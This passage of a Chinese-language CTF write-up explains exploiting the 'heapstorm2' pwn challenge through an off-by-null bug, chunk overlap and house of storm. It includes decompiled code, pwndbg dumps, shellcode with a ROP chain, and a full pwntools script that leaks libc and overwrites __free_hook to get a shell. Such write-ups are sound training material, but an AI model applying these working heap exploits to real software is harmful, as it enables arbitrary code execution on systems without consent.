xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
xor rax, rax
mov rdi, 3
mov rsi, {1}
mov rdx, 0x25
syscall
mov rax, 1
mov rdi, 1
mov rsi, {2}
mov rdx,0x25
syscall
''' .format( flag_addr,heap_base+0x48f0,heap_base+0x48f0)
rename(1,asm(shellcode,arch='amd64'))
shellcode_addr=heap_base+0x44e0
mprotect_rop=p64(pop_rdi)+p64(heap_base)+p64(pop_rsi)+p64(0x6000)+p64(pop_rdx)+p64(7)+p64(mprotect_addr)+p64(shellcode_addr)
add(0,'a'*0x200)
rename(0,mprotect_rop)
rop_addr=heap_base+0x4b10
add(1,'a'*300)
rename(1,'a'*0xa0+p64(rop_addr)+p64(ret))

retire(1)
sh.interactive()

aoff by null

简单地说就是堆溢出只能溢出一个字节,而且溢出的这个字节是\x00,如果我们申请的堆是以8结束的,那就刚好可以修改下一个chunk的size的最后一个字节为\x00

这个漏洞也是单个自己没啥用,一般配合unlink达成overlap(好像是这么叫的)。

大致思路就是free时触发unlink但是不是合并这个chunk的上一个chunk,而是合并上上个chunk,这样新合并的chunk里就含有一个没有free的堆,此时这个堆还有一个指针指向他,然后再把他申请出来,这样就有两个指针指向他了,构成了ufa

就用heapstorm2来实现offbynull

下面是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
int sub_D92()
{
puts("1. Allocate");
puts("2. Update");
puts("3. Delete");
puts("4. View");
puts("5. Exit");
return printf("Command: ");
}
//这是几个功能
void __fastcall add(__int64 a1)
{
int i; // [rsp+10h] [rbp-10h]
int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]

for ( i = 0; i <= 15; ++i )
{
if ( !sub_BCC(a1, *(_QWORD *)(16 * (i + 2LL) + a1 + 8)) )
{
printf("Size: ");
v2 = sub_1551();
if ( v2 > 12 && v2 <= 4096 )
{
v3 = calloc(v2, 1uLL);
if ( !v3 )
exit(-1);
*(_QWORD *)(16 * (i + 2LL) + a1 + 8) = sub_BCC(a1, v2);
*(_QWORD *)(16 * (i + 2LL) + a1) = sub_BB0(a1, v3);
printf("Chunk %d Allocated\n", (unsigned int)i);
}
else
{
puts("Invalid Size");
}
return;
}
}
}
int __fastcall update(_QWORD *a1)
{
int v2; // [rsp+10h] [rbp-20h]
int v3; // [rsp+14h] [rbp-1Ch]
__int64 v4; // [rsp+18h] [rbp-18h]

printf("Index: ");
v2 = sub_1551();
if ( v2 < 0 || v2 > 15 || !sub_BCC(a1, a1[2 * v2 + 5]) )
return puts("Invalid Index");
printf("Size: ");
v3 = sub_1551();
if ( v3 <= 0 || v3 > (unsigned __int64)(sub_BCC(a1, a1[2 * v2 + 5]) - 12) )
return puts("Invalid Size");
printf("Content: ");
v4 = sub_BB0(a1, a1[2 * v2 + 4]);
sub_1377(v4, v3);
strcpy((char *)(v3 + v4), "HEAPSTORM_II");
return printf("Chunk %d Updated\n", (unsigned int)v2);
}
int __fastcall free(__int64 a1)
{
void *v2; // rax
int v3; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
v3 = sub_1551();
if ( v3 < 0 || v3 > 15 || !sub_BCC(a1, *(_QWORD *)(16 * (v3 + 2LL) + a1 + 8)) )
return puts("Invalid Index");
v2 = (void *)sub_BB0(a1, *(_QWORD *)(16 * (v3 + 2LL) + a1));
free(v2);
*(_QWORD *)(16 * (v3 + 2LL) + a1) = sub_BB0(a1, 0LL);
*(_QWORD *)(16 * (v3 + 2LL) + a1 + 8) = sub_BCC(a1, 0LL);
return printf("Chunk %d Deleted\n", (unsigned int)v3);
}
int __fastcall show(_QWORD *a1)
{
__int64 v2; // rbx
__int64 v3; // rax
int v4; // [rsp+1Ch] [rbp-14h]

if ( (a1[3] ^ a1[2]) != 322401073LL )
return puts("Permission denied");
printf("Index: ");
v4 = sub_1551();
if ( v4 < 0 || v4 > 15 || !sub_BCC(a1, a1[2 * v4 + 5]) )
return puts("Invalid Index");
printf("Chunk[%d]: ", (unsigned int)v4);
v2 = sub_BCC(a1, a1[2 * v4 + 5]);
v3 = sub_BB0(a1, a1[2 * v4 + 4]);
sub_14D4(v3, v2);
return puts(byte_180A);
}

这就是几个重要的功能,add是申请一个堆,然后把堆地址和size异或后在储存在程序自己申请的一个内存空间里(第一次见地址异或),update是向指定堆里写入,不过有size限制,只能输入size-12个字符,然后程序还会在补充12个字符,然后再补充一个\x00,这就构成offbynull了,free也没ufa.

看一下保护

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全开

回归分析程序本身,刚分析时发现有offbynull,可以利用这一点完成ufa.

先申请几个堆

1
2
3
add(0x18)#0
add(0x508)#1
add(0x18)#2

看一看内存情况

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55c8c5183000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55c8c5183020
Size: 0x511

Allocated chunk | PREV_INUSE
Addr: 0x55c8c5183530
Size: 0x21

大致思路,把chunk1分成两个chunk(姑且称为chunk3和chunk4),然后利用chunk2合并chunk3

先简单说一下unlink时的步骤,首先会判断这个chunk的prev_inuse是否为0,如果为0,就代表上个chunk是空闲的,然后再通过prev_size来索引到上个chunk合并,合并完后最后的size就是这个chunk的size加上prev_size的值。

一般chunk的prev_size就是上一个物理相邻的chunk的大小,prev_size一般在上一个chunk被申请或者释放是改变,如果我们什么都不做,当chunk4被申请下来时,prev-size就是0,因为chunk4不是空闲的,而且prev_inuse是1,根本不会发生unlink,要使prev_size一直是0x510,那就要对chunk1进行布置,当申请chunk3和chunk4时不会索引到prev_size来改变他的值,这就涉及另一个索引方式了,当一个chunk在bins上被申请时,会根据其size值索引到下一个物理相邻的chunk的prev_size,然后根据申请情况改变这个prev_size的值。

总结 :.要使prev_inuse为0,其次prev_size=0x510不改变

要完成这两步要在堆上布置两处地方,一个是chunk1的size位,让其被申请回来时不索引到chunk2,另一个是伪造chunk1的prev_size,通过chunk1的size索引到这个地方,改变伪造的prev_size(或许还有验证)

先让chunk2的prev_inuse为0,只要把chunk1给free掉就好了。然后要改变chunk1的size让其索引到伪造的prev_size,我们可以把chunk1的size由0x510改成0x500,只要伪造prev_size到对应位置就好了。

1
2
3
4
5
6
7
update(1,'s'*0x4f0+p64(0x500))
free(1)
update(0,'s'*(0x18-12))
add(0x18)#1
add(0x4d8)# 7 overlap
free(1)
free(2)

这样就完成了overlap,可以看一下内存情况

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/20gx 0x561071a20020
0x561071a20020: 0x49495f4d524f5453 0x0000000000000531->1
0x561071a20030: 0x00007fe7da00ab78 0x00007fe7da00ab78
0x561071a20040: 0x0000000000000000 0x0000000000000000->7
0x561071a20050: 0x0000000000000000 0x0000000000000000
0x561071a20060: 0x0000000000000000 0x0000000000000000
0x561071a20070: 0x0000000000000000 0x0000000000000000
0x561071a20080: 0x0000000000000000 0x0000000000000000
0x561071a20090: 0x0000000000000000 0x0000000000000000
0x561071a200a0: 0x0000000000000000 0x0000000000000000
0x561071a200b0: 0x0000000000000000 0x0000000000000000

可以看见chunk1和chunk2合并了,然后合并的chunk包含chunk7(此时有一个指针指向他),然后再把chunk申请出来,就有两个指针指向chunk7了,构成了ufa,

chunk7是 large所以可以用houseofstorm来打0x13370800.此时只需要再来一个可以控制的chunk就好了,如法炮制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
add(0x18)#0
add(0x508)#1
update(1,'s'*0x4f0+p64(0x500))
add(0x18)#2
add(0x18)#3
add(0x508)#4
update(1,'s'*0x4f0+p64(0x500))
add(0x18)#5
add(0x18)#6

free(1)
update(0,'s'*(0x18-12))
add(0x18)#1
add(0x4d8)#7 overlap
free(1)
free(2)
# add(0x18)
# add(0x4d8)
add(0x38)#1
add(0x4e8)#2

update(4,'s'*0x4f0+p64(0x500))
free(4)
update(3,'s'*(0x18-12))
add(0x18)#4
add(0x4d8)#8
free(4)
free(5)
add(0x48)#4

这样就能控制两个chunkl的fd,bk,fd_nextsize,bk_size了,让这两个一个在large一个在unsorted,其中一个chunk是chunk2,大小为0x4f0,一个现在还待在unsortefd,大小为0x4e0,构成houseofstorm得要一个较小的在largebin上,一个较大的在unsorted上,通过两次free(2)完成这一步

到这里就已经完成了houseofstorm的前置条件了,下面就通过houseofstorm来完成任意地址申请就好了。

houseofstorm前面捋过了,就不展开赘述了

下面是完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from os import system
from pwn import *
context.log_level='debug'
elf=ELF('./heapstorm2')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
ogg=[0x45226,0x4527a,0xf03a4,0xf1247]
def add(size):
sh.recvuntil('Command: ')
sh.sendline('1')
sh.recvuntil('Size: ')
sh.sendline(str(size))

def update(index,content):
sh.recvuntil('Command: ')
sh.sendline('2')
sh.recvuntil("Index: ")
sh.sendline(str(index))
sh.recvuntil('Size: ')
sh.sendline(str(len(content)))
sh.recvuntil("Content: ")
sh.send(content)

def free(index):
sh.recvuntil('Command: ')
sh.sendline('3')
sh.recvuntil("Index: ")
sh.sendline(str(index))

def show(index):
sh.recvuntil('Command: ')
sh.sendline('4')
sh.recvuntil('Index: ')
sh.sendline(str(index))

i=1
def pwn():
while True:
#sh=process('./heapstorm2')
#sh=remote('node4.buuoj.cn',29023)
#gdb.attach(sh,"b main")
add(0x18)#0
add(0x508)#1
update(1,'s'*0x4f0+p64(0x500))
add(0x18)#2
add(0x18)#3
add(0x508)#4
update(1,'s'*0x4f0+p64(0x500))
add(0x18)#5
add(0x18)#6

free(1)
update(0,'s'*(0x18-12))
add(0x18)#1
add(0x4d8)#7 overlap
free(1)
free(2)
# add(0x18)
# add(0x4d8)
add(0x38)#1
add(0x4e8)#2

update(4,'s'*0x4f0+p64(0x500))
free(4)
update(3,'s'*(0x18-12))
add(0x18)#4
add(0x4d8)#8
free(4)
free(5)
add(0x48)#4

free(2)
add(0x4e8)#2
free(2)

#unsorted bin
fake_chunk=0x13370800-0x20
p1=p64(0)*2+p64(0)+p64(0x4f1)
p1+=p64(0)+p64(fake_chunk)
update(7,p1)

#large bin
p=p64(0)*4+p64(0)+p64(0x4e1)
p+=p64(0)+p64(fake_chunk+8)
p+=p64(0)+p64(fake_chunk-0x18-5)
update(8,p)
add(0x48)#2
p2=p64(0)*5+p64(0x13377331)
p2+=p64(0x13370800)
update(2,p2)
p3=p64(0)*3+p64(0x13377331)+p64(0x13370800)
p3+=p64(0x1000)+p64(fake_chunk+3)+p64(8)
update(0,p3)
show(1)
sh.recvuntil(']: ')
heap=u64(sh.recv(6).ljust(8,'\x00'))
print hex(heap)
p3=p64(0)*3+p64(0x13377331)+p64(0x13370800)
p3+=p64(0x1000)+p64(heap+0x10)+p64(8)
update(0,p3)
show(1)
sh.recvuntil(']: ')
hook_base=u64(sh.recv(6).ljust(8,'\x00'))-0x58-0x10
libc_base=hook_base-libc.symbols['__malloc_hook']
print hex(libc_base)
free_hook=libc_base+libc.symbols['__free_hook']
p3=p64(0)*3+p64(0x13377331)+p64(0x13370800)
p3+=p64(0x1000)+p64(free_hook)+p64(0x8)
update(0,p3)
update(1,p64(ogg[1]+libc_base))
free(1)
sh.interactive()
if __name__ == "__main__":
while True:
sh = process('./heapstorm2')
try:
pwn()
except:
sh.close()